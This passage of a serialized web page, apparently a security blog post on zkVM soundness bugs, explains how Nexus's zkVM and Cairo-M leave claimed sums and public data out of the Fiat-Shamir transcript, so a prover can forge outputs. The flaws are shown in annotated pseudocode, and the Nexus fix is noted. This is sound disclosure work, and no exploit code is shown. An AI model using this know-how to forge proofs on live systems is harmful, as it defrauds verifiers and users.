33},[27226,27231,27232],[122753],{"type":29,"value":114416},{"type":24,"tag":147,"props":122755,"children":122757},{"className":122756},[9650],[122758],{"type":24,"tag":147,"props":122759,"children":122761},{"className":122760},[9655,27244],[122762,122791],{"type":24,"tag":147,"props":122763,"children":122765},{"className":122764},[9660],[122766,122786],{"type":24,"tag":147,"props":122767,"children":122769},{"className":122768,"style":119292},[9665],[122770],{"type":24,"tag":147,"props":122771,"children":122772},{"style":27257},[122773,122777],{"type":24,"tag":147,"props":122774,"children":122776},{"className":122775,"style":9675},[9674],[],{"type":24,"tag":147,"props":122778,"children":122780},{"className":122779},[9680,9681,9682,9683],[122781],{"type":24,"tag":147,"props":122782,"children":122784},{"className":122783,"style":100059},[9635,27190,9683],[122785],{"type":29,"value":94267},{"type":24,"tag":147,"props":122787,"children":122789},{"className":122788},[27347],[122790],{"type":29,"value":27350},{"type":24,"tag":147,"props":122792,"children":122794},{"className":122793},[9660],[122795],{"type":24,"tag":147,"props":122796,"children":122798},{"className":122797,"style":120107},[9665],[122799],{"type":24,"tag":147,"props":122800,"children":122801},{},[],{"type":24,"tag":147,"props":122803,"children":122805},{"className":122804,"style":9753},[9714],[],{"type":24,"tag":147,"props":122807,"children":122809},{"className":122808},[9635],[122810,122814,122964],{"type":24,"tag":147,"props":122811,"children":122813},{"className":122812},[27319,119138],[],{"type":24,"tag":147,"props":122815,"children":122817},{"className":122816},[119143],[122818],{"type":24,"tag":147,"props":122819,"children":122821},{"className":122820},[9655,27244],[122822,122953],{"type":24,"tag":147,"props":122823,"children":122825},{"className":122824},[9660],[122826,122948],{"type":24,"tag":147,"props":122827,"children":122829},{"className":122828,"style":119156},[9665],[122830,122917,122928],{"type":24,"tag":147,"props":122831,"children":122832},{"style":119160},[122833,122837],{"type":24,"tag":147,"props":122834,"children":122836},{"className":122835,"style":117792},[9674],[],{"type":24,"tag":147,"props":122838,"children":122840},{"className":122839},[9680,9681,9682,9683],[122841],{"type":24,"tag":147,"props":122842,"children":122844},{"className":122843},[9635,9683],[122845,122850,122855],{"type":24,"tag":147,"props":122846,"children":122848},{"className":122847,"style":119177},[9635,27190,9683],[122849],{"type":29,"value":119180},{"type":24,"tag":147,"props":122851,"children":122853},{"className":122852},[9720,9683],[122854],{"type":29,"value":9694},{"type":24,"tag":147,"props":122856,"children":122858},{"className":122857},[9635,9683],[122859,122869],{"type":24,"tag":147,"props":122860,"children":122862},{"className":122861},[9635,29,9683],[122863],{"type":24,"tag":147,"props":122864,"children":122866},{"className":122865},[9635,9683],[122867],{"type":29,"value":122868},"consumed",{"type":24,"tag":147,"props":122870,"children":122872},{"className":122871},[9650],[122873],{"type":24,"tag":147,"props":122874,"children":122876},{"className":122875},[9655,27244],[122877,122906],{"type":24,"tag":147,"props":122878,"children":122880},{"className":122879},[9660],[122881,122901],{"type":24,"tag":147,"props":122882,"children":122884},{"className":122883,"style":117952},[9665],[122885],{"type":24,"tag":147,"props":122886,"children":122887},{"style":120197},[122888,122892],{"type":24,"tag":147,"props":122889,"children":122891},{"className":122890,"style":114481},[9674],[],{"type":24,"tag":147,"props":122893,"children":122895},{"className":122894},[9680,114486,114487,9683],[122896],{"type":24,"tag":147,"props":122897,"children":122899},{"className":122898,"style":100059},[9635,27190,9683],[122900],{"type":29,"value":94267},{"type":24,"tag":147,"props":122902,"children":122904},{"className":122903},[27347],[122905],{"type":29,"value":27350},{"type":24,"tag":147,"props":122907,"children":122909},{"className":122908},[9660],[122910],{"type":24,"tag":147,"props":122911,"children":122913},{"className":122912,"style":120224},[9665],[122914],{"type":24,"tag":147,"props":122915,"children":122916},{},[],{"type":24,"tag":147,"props":122918,"children":122919},{"style":119193},[122920,122924],{"type":24,"tag":147,"props":122921,"children":122923},{"className":122922,"style":117792},[9674],[],{"type":24,"tag":147,"props":122925,"children":122927},{"className":122926,"style":119203},[119202],[],{"type":24,"tag":147,"props":122929,"children":122930},{"style":119207},[122931,122935],{"type":24,"tag":147,"props":122932,"children":122934},{"className":122933,"style":117792},[9674],[],{"type":24,"tag":147,"props":122936,"children":122938},{"className":122937},[9680,9681,9682,9683],[122939],{"type":24,"tag":147,"props":122940,"children":122942},{"className":122941},[9635,9683],[122943],{"type":24,"tag":147,"props":122944,"children":122946},{"className":122945},[9635,9683],[122947],{"type":29,"value":1154},{"type":24,"tag":147,"props":122949,"children":122951},{"className":122950},[27347],[122952],{"type":29,"value":27350},{"type":24,"tag":147,"props":122954,"children":122956},{"className":122955},[9660],[122957],{"type":24,"tag":147,"props":122958,"children":122960},{"className":122959,"style":120272},[9665],[122961],{"type":24,"tag":147,"props":122962,"children":122963},{},[],{"type":24,"tag":147,"props":122965,"children":122967},{"className":122966},[27341,119138],[],{"type":24,"tag":25,"props":122969,"children":122970},{},[122971,122973,122978],{"type":29,"value":122972},"All ",{"type":24,"tag":80,"props":122974,"children":122976},{"className":122975},[],[122977],{"type":29,"value":120484},{"type":29,"value":122979}," values must sum to zero (everything produced is consumed).",{"type":24,"tag":25,"props":122981,"children":122982},{},[122983,122985,122990],{"type":29,"value":122984},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":24,"tag":10949,"props":122986,"children":122987},{},[122988],{"type":29,"value":122989},"OODS (Out-of-Domain Sampling)",{"type":29,"value":122991}," test.",{"type":24,"tag":25,"props":122993,"children":122994},{},[122995],{"type":24,"tag":10949,"props":122996,"children":122997},{},[122998],{"type":29,"value":121036},{"type":24,"tag":137,"props":123000,"children":123002},{"code":123001},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[123003],{"type":24,"tag":80,"props":123004,"children":123005},{"__ignoreMap":7},[123006],{"type":29,"value":123001},{"type":24,"tag":25,"props":123008,"children":123009},{},[123010,123012,123017],{"type":29,"value":123011},"The",{"type":24,"tag":80,"props":123013,"children":123015},{"className":123014},[],[123016],{"type":29,"value":120484},{"type":29,"value":123018}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":24,"tag":25,"props":123020,"children":123021},{},[123022],{"type":24,"tag":63,"props":123023,"children":123026},{"alt":123024,"src":123025},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":24,"tag":25,"props":123028,"children":123029},{},[123030,123032,123041],{"type":29,"value":123031},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":24,"tag":10949,"props":123033,"children":123034},{},[123035,123036],{"type":29,"value":117492},{"type":24,"tag":80,"props":123037,"children":123039},{"className":123038},[],[123040],{"type":29,"value":120484},{"type":29,"value":978},{"type":24,"tag":25,"props":123043,"children":123044},{},[123045],{"type":29,"value":123046},"The composition polynomial is a random linear combination of constraints:",{"type":24,"tag":25,"props":123048,"children":123049},{},[123050],{"type":24,"tag":80,"props":123051,"children":123053},{"className":123052},[9607,9608],[123054],{"type":24,"tag":147,"props":123055,"children":123057},{"className":123056},[9613],[123058],{"type":24,"tag":147,"props":123059,"children":123061},{"className":123060,"ariaHidden":9619},[9618],[123062,123103,123242],{"type":24,"tag":147,"props":123063,"children":123065},{"className":123064},[9624],[123066,123070,123075,123080,123085,123090,123094,123099],{"type":24,"tag":147,"props":123067,"children":123069},{"className":123068,"style":9735},[9629],[],{"type":24,"tag":147,"props":123071,"children":123073},{"className":123072,"style":27722},[9635,27190],[123074],{"type":29,"value":121849},{"type":24,"tag":147,"props":123076,"children":123078},{"className":123077},[27319],[123079],{"type":29,"value":480},{"type":24,"tag":147,"props":123081,"children":123083},{"className":123082},[9635,27190],[123084],{"type":29,"value":24880},{"type":24,"tag":147,"props":123086,"children":123088},{"className":123087},[27341],[123089],{"type":29,"value":8758},{"type":24,"tag":147,"props":123091,"children":123093},{"className":123092,"style":9812},[9714],[],{"type":24,"tag":147,"props":123095,"children":123097},{"className":123096},[9817],[123098],{"type":29,"value":369},{"type":24,"tag":147,"props":123100,"children":123102},{"className":123101,"style":9812},[9714],[],{"type":24,"tag":147,"props":123104,"children":123106},{"className":123105},[9624],[123107,123111,123168,123172,123229,123233,123238],{"type":24,"tag":147,"props":123108,"children":123110},{"className":123109,"style":121253},[9629],[],{"type":24,"tag":147,"props":123112,"children":123114},{"className":123113},[27226],[123115,123120],{"type":24,"tag":147,"props":123116,"children":123118},{"className":123117,"style":27233},[27226,27231,27232],[123119],{"type":29,"value":114416},{"type":24,"tag":147,"props":123121,"children":123123},{"className":123122},[9650],[123124],{"type":24,"tag":147,"props":123125,"children":123127},{"className":123126},[9655,27244],[123128,123157],{"type":24,"tag":147,"props":123129,"children":123131},{"className":123130},[9660],[123132,123152],{"type":24,"tag":147,"props":123133,"children":123135},{"className":123134,"style":119827},[9665],[123136],{"type":24,"tag":147,"props":123137,"children":123138},{"style":27257},[123139,123143],{"type":24,"tag":147,"props":123140,"children":123142},{"className":123141,"style":9675},[9674],[],{"type":24,"tag":147,"props":123144,"children":123146},{"className":123145},[9680,9681,9682,9683],[123147],{"type":24,"tag":147,"props":123148,"children":123150},{"className":123149},[9635,27190,9683],[123151],{"type":29,"value":9363},{"type":24,"tag":147,"props":123153,"children":123155},{"className":123154},[27347],[123156],{"type":29,"value":27350},{"type":24,"tag":147,"props":123158,"children":123160},{"className":123159},[9660],[123161],{"type":24,"tag":147,"props":123162,"children":123164},{"className":123163,"style":120107},[9665],[123165],{"type":24,"tag":147,"props":123166,"children":123167},{},[],{"type":24,"tag":147,"props":123169,"children":123171},{"className":123170,"style":9753},[9714],[],{"type":24,"tag":147,"props":123173,"children":123175},{"className":123174},[9635],[123176,123181],{"type":24,"tag":147,"props":123177,"children":123179},{"className":123178,"style":120708},[9635,27190],[123180],{"type":29,"value":120711},{"type":24,"tag":147,"props":123182,"children":123184},{"className":123183},[9650],[123185],{"type":24,"tag":147,"props":123186,"children":123188},{"className":123187},[9655,27244],[123189,123218],{"type":24,"tag":147,"props":123190,"children":123192},{"className":123191},[9660],[123193,123213],{"type":24,"tag":147,"props":123194,"children":123196},{"className":123195,"style":99159},[9665],[123197],{"type":24,"tag":147,"props":123198,"children":123199},{"style":121343},[123200,123204],{"type":24,"tag":147,"props":123201,"children":123203},{"className":123202,"style":9675},[9674],[],{"type":24,"tag":147,"props":123205,"children":123207},{"className":123206},[9680,9681,9682,9683],[123208],{"type":24,"tag":147,"props":123209,"children":123211},{"className":123210},[9635,27190,9683],[123212],{"type":29,"value":9363},{"type":24,"tag":147,"props":123214,"children":123216},{"className":123215},[27347],[123217],{"type":29,"value":27350},{"type":24,"tag":147,"props":123219,"children":123221},{"className":123220},[9660],[123222],{"type":24,"tag":147,"props":123223,"children":123225},{"className":123224,"style":98713},[9665],[123226],{"type":24,"tag":147,"props":123227,"children":123228},{},[],{"type":24,"tag":147,"props":123230,"children":123232},{"className":123231,"style":9715},[9714],[],{"type":24,"tag":147,"props":123234,"children":123236},{"className":123235},[9720],[123237],{"type":29,"value":116883},{"type":24,"tag":147,"props":123239,"children":123241},{"className":123240,"style":9715},[9714],[],{"type":24,"tag":147,"props":123243,"children":123245},{"className":123244},[9624],[123246,123250,123312,123317,123322],{"type":24,"tag":147,"props":123247,"children":123249},{"className":123248,"style":9735},[9629],[],{"type":24,"tag":147,"props":123251,"children":123253},{"className":123252},[9635],[123254,123264],{"type":24,"tag":147,"props":123255,"children":123257},{"className":123256},[9635,29],[123258],{"type":24,"tag":147,"props":123259,"children":123261},{"className":123260},[9635],[123262],{"type":29,"value":123263},"constraint",{"type":24,"tag":147,"props":123265,"children":123267},{"className":123266},[9650],[123268],{"type":24,"tag":147,"props":123269,"children":123271},{"className":123270},[9655,27244],[123272,123301],{"type":24,"tag":147,"props":123273,"children":123275},{"className":123274},[9660],[123276,123296],{"type":24,"tag":147,"props":123277,"children":123279},{"className":123278,"style":99159},[9665],[123280],{"type":24,"tag":147,"props":123281,"children":123282},{"style":119750},[123283,123287],{"type":24,"tag":147,"props":123284,"children":123286},{"className":123285,"style":9675},[9674],[],{"type":24,"tag":147,"props":123288,"children":123290},{"className":123289},[9680,9681,9682,9683],[123291],{"type":24,"tag":147,"props":123292,"children":123294},{"className":123293},[9635,27190,9683],[123295],{"type":29,"value":9363},{"type":24,"tag":147,"props":123297,"children":123299},{"className":123298},[27347],[123300],{"type":29,"value":27350},{"type":24,"tag":147,"props":123302,"children":123304},{"className":123303},[9660],[123305],{"type":24,"tag":147,"props":123306,"children":123308},{"className":123307,"style":98713},[9665],[123309],{"type":24,"tag":147,"props":123310,"children":123311},{},[],{"type":24,"tag":147,"props":123313,"children":123315},{"className":123314},[27319],[123316],{"type":29,"value":480},{"type":24,"tag":147,"props":123318,"children":123320},{"className":123319},[9635,27190],[123321],{"type":29,"value":24880},{"type":24,"tag":147,"props":123323,"children":123325},{"className":123324},[27341],[123326],{"type":29,"value":8758},{"type":24,"tag":25,"props":123328,"children":123329},{},[123330,123332,123337,123339,123344],{"type":29,"value":123331},"Since each constraint is linear in its ",{"type":24,"tag":80,"props":123333,"children":123335},{"className":123334},[],[123336],{"type":29,"value":120484},{"type":29,"value":123338},", the overall composition polynomial is linear in all ",{"type":24,"tag":80,"props":123340,"children":123342},{"className":123341},[],[123343],{"type":29,"value":120484},{"type":29,"value":123345}," values.",{"type":24,"tag":25,"props":123347,"children":123348},{},[123349,123351],{"type":29,"value":123350},"The verifier checks ",{"type":24,"tag":80,"props":123352,"children":123354},{"className":123353},[9607,9608],[123355],{"type":24,"tag":147,"props":123356,"children":123358},{"className":123357},[9613],[123359],{"type":24,"tag":147,"props":123360,"children":123362},{"className":123361,"ariaHidden":9619},[9618],[123363,123424],{"type":24,"tag":147,"props":123364,"children":123366},{"className":123365},[9624],[123367,123371,123376,123381,123391,123396,123406,123411,123415,123420],{"type":24,"tag":147,"props":123368,"children":123370},{"className":123369,"style":98572},[9629],[],{"type":24,"tag":147,"props":123372,"children":123374},{"className":123373,"style":27722},[9635,27190],[123375],{"type":29,"value":121849},{"type":24,"tag":147,"props":123377,"children":123379},{"className":123378},[27319],[123380],{"type":29,"value":480},{"type":24,"tag":147,"props":123382,"children":123384},{"className":123383},[9635,29],[123385],{"type":24,"tag":147,"props":123386,"children":123388},{"className":123387},[9635],[123389],{"type":29,"value":123390},"oods",{"type":24,"tag":147,"props":123392,"children":123394},{"className":123393,"style":98630},[9635],[123395],{"type":29,"value":8714},{"type":24,"tag":147,"props":123397,"children":123399},{"className":123398},[9635,29],[123400],{"type":24,"tag":147,"props":123401,"children":123403},{"className":123402},[9635],[123404],{"type":29,"value":123405},"point",{"type":24,"tag":147,"props":123407,"children":123409},{"className":123408},[27341],[123410],{"type":29,"value":8758},{"type":24,"tag":147,"props":123412,"children":123414},{"className":123413,"style":9812},[9714],[],{"type":24,"tag":147,"props":123416,"children":123418},{"className":123417},[9817],[123419],{"type":29,"value":369},{"type":24,"tag":147,"props":123421,"children":123423},{"className":123422,"style":9812},[9714],[],{"type":24,"tag":147,"props":123425,"children":123427},{"className":123426},[9624],[123428,123432],{"type":24,"tag":147,"props":123429,"children":123431},{"className":123430,"style":120675},[9629],[],{"type":24,"tag":147,"props":123433,"children":123435},{"className":123434},[9635,29],[123436],{"type":24,"tag":147,"props":123437,"children":123439},{"className":123438},[9635],[123440],{"type":29,"value":122174},{"type":24,"tag":25,"props":123442,"children":123443},{},[123444,123446,123451,123453,123458],{"type":29,"value":123445},"With ",{"type":24,"tag":80,"props":123447,"children":123449},{"className":123448},[],[123450],{"type":29,"value":120484},{"type":29,"value":123452}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":24,"tag":80,"props":123454,"children":123456},{"className":123455},[],[123457],{"type":29,"value":120484},{"type":29,"value":123459}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":24,"tag":25,"props":123461,"children":123462},{},[123463,123467,123469],{"type":24,"tag":10949,"props":123464,"children":123465},{},[123466],{"type":29,"value":122330},{"type":29,"value":123468}," Fixed on October 24, 2025 via ",{"type":24,"tag":2773,"props":123470,"children":123473},{"href":123471,"rel":123472},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[2777],[123474],{"type":29,"value":123475},"PR #503",{"type":24,"tag":2665,"props":123477,"children":123478},{},[],{"type":24,"tag":43,"props":123480,"children":123482},{"id":123481},"cairo-m-kakarot-labs",[123483],{"type":29,"value":123484},"Cairo-M (Kakarot Labs)",{"type":24,"tag":25,"props":123486,"children":123487},{},[123488],{"type":29,"value":123489},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":24,"tag":25,"props":123491,"children":123492},{},[123493],{"type":29,"value":123494},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":24,"tag":25,"props":123496,"children":123497},{},[123498],{"type":24,"tag":10949,"props":123499,"children":123500},{},[123501],{"type":29,"value":121036},{"type":24,"tag":137,"props":123503,"children":123505},{"code":123504},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[123506],{"type":24,"tag":80,"props":123507,"children":123508},{"__ignoreMap":7},[123509],{"type":29,"value":123504},{"type":24,"tag":25,"props":123511,"children":123512},{},[123513],{"type":24,"tag":10949,"props":123514,"children":123515},{},[123516],{"type":29,"value":121052},{"type":24,"tag":25,"props":123518,"children":123519},{},[123520],{"type":24,"tag":63,"props":123521,"children":123524},{"alt":123522,"src":123523},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":24,"tag":25,"props":123526,"children":123527},{},[123528,123530,123536],{"type":29,"value":123529},"Lookup challenges are derived without ",{"type":24,"tag":80,"props":123531,"children":123533},{"className":123532},[],[123534],{"type":29,"value":123535},"public_data",{"type":29,"value":123537}," being  mixed into the transcript.",{"type":24,"tag":25,"props":123539,"children":123540},{},[123541,123542,123547,123549,123554],{"type":29,"value":5094},{"type":24,"tag":80,"props":123543,"children":123545},{"className":123544},[],[123546],{"type":29,"value":123535},{"type":29,"value":123548}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":24,"tag":8545,"props":123550,"children":123551},{},[123552],{"type":29,"value":123553},"denominators",{"type":29,"value":123555}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":24,"tag":25,"props":123557,"children":123558},{},[123559],{"type":24,"tag":80,"props":123560,"children":123562},{"className":123561},[9607,9608],[123563],{"type":24,"tag":147,"props":123564,"children":123566},{"className":123565},[9613],[123567],{"type":24,"tag":147,"props":123568,"children":123570},{"className":123569,"ariaHidden":9619},[9618],[123571,123631,123677,123723],{"type":24,"tag":147,"props":123572,"children":123574},{"className":123573},[9624],[123575,123579,123585,123590,123599,123604,123613,123618,123622,123627],{"type":24,"tag":147,"props":123576,"children":123578},{"className":123577,"style":98572},[9629],[],{"type":24,"tag":147,"props":123580,"children":123582},{"className":123581},[9635,27190],[123583],{"type":29,"value":123584},"L",{"type":24,"tag":147,"props":123586,"children":123588},{"className":123587},[27319],[123589],{"type":29,"value":480},{"type":24,"tag":147,"props":123591,"children":123593},{"className":123592},[9635,29],[123594],{"type":24,"tag":147,"props":123595,"children":123597},{"className":123596},[9635],[123598],{"type":29,"value":67257},{"type":24,"tag":147,"props":123600,"children":123602},{"className":123601,"style":98630},[9635],[123603],{"type":29,"value":8714},{"type":24,"tag":147,"props":123605,"children":123607},{"className":123606},[9635,29],[123608],{"type":24,"tag":147,"props":123609,"children":123611},{"className":123610},[9635],[123612],{"type":29,"value":1139},{"type":24,"tag":147,"props":123614,"children":123616},{"className":123615},[27341],[123617],{"type":29,"value":8758},{"type":24,"tag":147,"props":123619,"children":123621},{"className":123620,"style":9715},[9714],[],{"type":24,"tag":147,"props":123623,"children":123625},{"className":123624},[9720],[123626],{"type":29,"value":624},{"type":24,"tag":147,"props":123628,"children":123630},{"className":123629,"style":9715},[9714],[],{"type":24,"tag":147,"props":123632,"children":123634},{"className":123633},[9624],[123635,123639,123649,123654,123664,123668,123673],{"type":24,"tag":147,"props":123636,"children":123638},{"className":123637,"style":98572},[9629],[],{"type":24,"tag":147,"props":123640,"children":123642},{"className":123641},[9635,29],[123643],{"type":24,"tag":147,"props":123644,"children":123646},{"className":123645},[9635],[123647],{"type":29,"value":123648},"(other transcript",{"type":24,"tag":147,"props":123650,"children":123652},{"className":123651,"style":98630},[9635],[123653],{"type":29,"value":8714},{"type":24,"tag":147,"props":123655,"children":123657},{"className":123656},[9635,29],[123658],{"type":24,"tag":147,"props":123659,"children":123661},{"className":123660},[9635],[123662],{"type":29,"value":123663},"bound terms)",{"type":24,"tag":147,"props":123665,"children":123667},{"className":123666,"style":9812},[9714],[],{"type":24,"tag":147,"props":123669,"children":123671},{"className":123670},[9817],[123672],{"type":29,"value":369},{"type":24,"tag":147,"props":123674,"children":123676},{"className":123675,"style":9812},[9714],[],{"type":24,"tag":147,"props":123678,"children":123680},{"className":123679},[9624],[123681,123686,123691,123696,123701,123705,123710,123714,123719],{"type":24,"tag":147,"props":123682,"children":123685},{"className":123683,"style":123684},[9629],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":24,"tag":147,"props":123687,"children":123689},{"className":123688},[9635],[123690],{"type":29,"value":3173},{"type":24,"tag":147,"props":123692,"children":123694},{"className":123693},[9746],[123695],{"type":29,"value":9749},{"type":24,"tag":147,"props":123697,"children":123700},{"className":123698,"style":123699},[9714],"margin-right:2em;",[],{"type":24,"tag":147,"props":123702,"children":123704},{"className":123703,"style":9753},[9714],[],{"type":24,"tag":147,"props":123706,"children":123708},{"className":123707},[9635,27190],[123709],{"type":29,"value":123584},{"type":24,"tag":147,"props":123711,"children":123713},{"className":123712,"style":9812},[9714],[],{"type":24,"tag":147,"props":123715,"children":123717},{"className":123716},[9817],[123718],{"type":29,"value":369},{"type":24,"tag":147,"props":123720,"children":123722},{"className":123721,"style":9812},[9714],[],{"type":24,"tag":147,"props":123724,"children":123726},{"className":123725},[9624],[123727,123732,123789,123793,124011],{"type":24,"tag":147,"props":123728,"children":123731},{"className":123729,"style":123730},[9629],"height:1.4071em;vertical-align:-0.562em;",[],{"type":24,"tag":147,"props":123733,"children":123735},{"className":123734},[27226],[123736,123741],{"type":24,"tag":147,"props":123737,"children":123739},{"className":123738,"style":27233},[27226,27231,27232],[123740],{"type":29,"value":114416},{"type":24,"tag":147,"props":123742,"children":123744},{"className":123743},[9650],[123745],{"type":24,"tag":147,"props":123746,"children":123748},{"className":123747},[9655,27244],[123749,123778],{"type":24,"tag":147,"props":123750,"children":123752},{"className":123751},[9660],[123753,123773],{"type":24,"tag":147,"props":123754,"children":123756},{"className":123755,"style":119827},[9665],[123757],{"type":24,"tag":147,"props":123758,"children":123759},{"style":27257},[123760,123764],{"type":24,"tag":147,"props":123761,"children":123763},{"className":123762,"style":9675},[9674],[],{"type":24,"tag":147,"props":123765,"children":123767},{"className":123766},[9680,9681,9682,9683],[123768],{"type":24,"tag":147,"props":123769,"children":123771},{"className":123770},[9635,27190,9683],[123772],{"type":29,"value":9363},{"type":24,"tag":147,"props":123774,"children":123776},{"className":123775},[27347],[123777],{"type":29,"value":27350},{"type":24,"tag":147,"props":123779,"children":123781},{"className":123780},[9660],[123782],{"type":24,"tag":147,"props":123783,"children":123785},{"className":123784,"style":120107},[9665],[123786],{"type":24,"tag":147,"props":123787,"children":123788},{},[],{"type":24,"tag":147,"props":123790,"children":123792},{"className":123791,"style":9753},[9714],[],{"type":24,"tag":147,"props":123794,"children":123796},{"className":123795},[9635],[123797,123801,124007],{"type":24,"tag":147,"props":123798,"children":123800},{"className":123799},[27319,119138],[],{"type":24,"tag":147,"props":123802,"children":123804},{"className":123803},[119143],[123805],{"type":24,"tag":147,"props":123806,"children":123808},{"className":123807},[9655,27244],[123809,123995],{"type":24,"tag":147,"props":123810,"children":123812},{"className":123811},[9660],[123813,123990],{"type":24,"tag":147,"props":123814,"children":123816},{"className":123815,"style":119156},[9665],[123817,123959,123970],{"type":24,"tag":147,"props":123818,"children":123819},{"style":119160},[123820,123824],{"type":24,"tag":147,"props":123821,"children":123823},{"className":123822,"style":117792},[9674],[],{"type":24,"tag":147,"props":123825,"children":123827},{"className":123826},[9680,9681,9682,9683],[123828],{"type":24,"tag":147,"props":123829,"children":123831},{"className":123830},[9635,9683],[123832,123837,123842,123848,123853,123858,123915,123920,123929,123934,123943,123949,123954],{"type":24,"tag":147,"props":123833,"children":123835},{"className":123834,"style":119177},[9635,27190,9683],[123836],{"type":29,"value":119180},{"type":24,"tag":147,"props":123838,"children":123840},{"className":123839},[9720,9683],[123841],{"type":29,"value":624},{"type":24,"tag":147,"props":123843,"children":123845},{"className":123844},[27319,9683],[123846],{"type":29,"value":123847},"⟨",{"type":24,"tag":147,"props":123849,"children":123851},{"className":123850,"style":120708},[9635,27190,9683],[123852],{"type":29,"value":120711},{"type":24,"tag":147,"props":123854,"children":123856},{"className":123855},[9746,9683],[123857],{"type":29,"value":9749},{"type":24,"tag":147,"props":123859,"children":123861},{"className":123860},[9635,9683],[123862,123867],{"type":24,"tag":147,"props":123863,"children":123865},{"className":123864},[9635,27190,9683],[123866],{"type":29,"value":27332},{"type":24,"tag":147,"props":123868,"children":123870},{"className":123869},[9650],[123871],{"type":24,"tag":147,"props":123872,"children":123874},{"className":123873},[9655,27244],[123875,123904],{"type":24,"tag":147,"props":123876,"children":123878},{"className":123877},[9660],[123879,123899],{"type":24,"tag":147,"props":123880,"children":123882},{"className":123881,"style":119944},[9665],[123883],{"type":24,"tag":147,"props":123884,"children":123885},{"style":114476},[123886,123890],{"type":24,"tag":147,"props":123887,"children":123889},{"className":123888,"style":114481},[9674],[],{"type":24,"tag":147,"props":123891,"children":123893},{"className":123892},[9680,114486,114487,9683],[123894],{"type":24,"tag":147,"props":123895,"children":123897},{"className":123896},[9635,27190,9683],[123898],{"type":29,"value":9363},{"type":24,"tag":147,"props":123900,"children":123902},{"className":123901},[27347],[123903],{"type":29,"value":27350},{"type":24,"tag":147,"props":123905,"children":123907},{"className":123906},[9660],[123908],{"type":24,"tag":147,"props":123909,"children":123911},{"className":123910,"style":114506},[9665],[123912],{"type":24,"tag":147,"props":123913,"children":123914},{},[],{"type":24,"tag":147,"props":123916,"children":123918},{"className":123917},[27319,9683],[123919],{"type":29,"value":480},{"type":24,"tag":147,"props":123921,"children":123923},{"className":123922},[9635,29,9683],[123924],{"type":24,"tag":147,"props":123925,"children":123927},{"className":123926},[9635,9683],[123928],{"type":29,"value":67257},{"type":24,"tag":147,"props":123930,"children":123932},{"className":123931,"style":98630},[9635,9683],[123933],{"type":29,"value":8714},{"type":24,"tag":147,"props":123935,"children":123937},{"className":123936},[9635,29,9683],[123938],{"type":24,"tag":147,"props":123939,"children":123941},{"className":123940},[9635,9683],[123942],{"type":29,"value":1139},{"type":24,"tag":147,"props":123944,"children":123946},{"className":123945},[27341,9683],[123947],{"type":29,"value":123948},")⟩",{"type":24,"tag":147,"props":123950,"children":123952},{"className":123951},[9720,9683],[123953],{"type":29,"value":624},{"type":24,"tag":147,"props":123955,"children":123957},{"className":123956,"style":120763},[9635,27190,9683],[123958],{"type":29,"value":120766},{"type":24,"tag":147,"props":123960,"children":123961},{"style":119193},[123962,123966],{"type":24,"tag":147,"props":123963,"children":123965},{"className":123964,"style":117792},[9674],[],{"type":24,"tag":147,"props":123967,"children":123969},{"className":123968,"style":119203},[119202],[],{"type":24,"tag":147,"props":123971,"children":123972},{"style":119207},[123973,123977],{"type":24,"tag":147,"props":123974,"children":123976},{"className":123975,"style":117792},[9674],[],{"type":24,"tag":147,"props":123978,"children":123980},{"className":123979},[9680,9681,9682,9683],[123981],{"type":24,"tag":147,"props":123982,"children":123984},{"className":123983},[9635,9683],[123985],{"type":24,"tag":147,"props":123986,"children":123988},{"className":123987},[9635,9683],[123989],{"type":29,"value":1154},{"type":24,"tag":147,"props":123991,"children":123993},{"className":123992},[27347],[123994],{"type":29,"value":27350},{"type":24,"tag":147,"props":123996,"children":123998},{"className":123997},[9660],[123999],{"type":24,"tag":147,"props":124000,"children":124003},{"className":124001,"style":124002},[9665],"height:0.562em;",[124004],{"type":24,"tag":147,"props":124005,"children":124006},{},[],{"type":24,"tag":147,"props":124008,"children":124010},{"className":124009},[27341,119138],[],{"type":24,"tag":147,"props":124012,"children":124014},{"className":124013},[9635],[124015],{"type":29,"value":87},{"type":24,"tag":25,"props":124017,"children":124018},{},[124019,124021],{"type":29,"value":124020},"The global check is then that 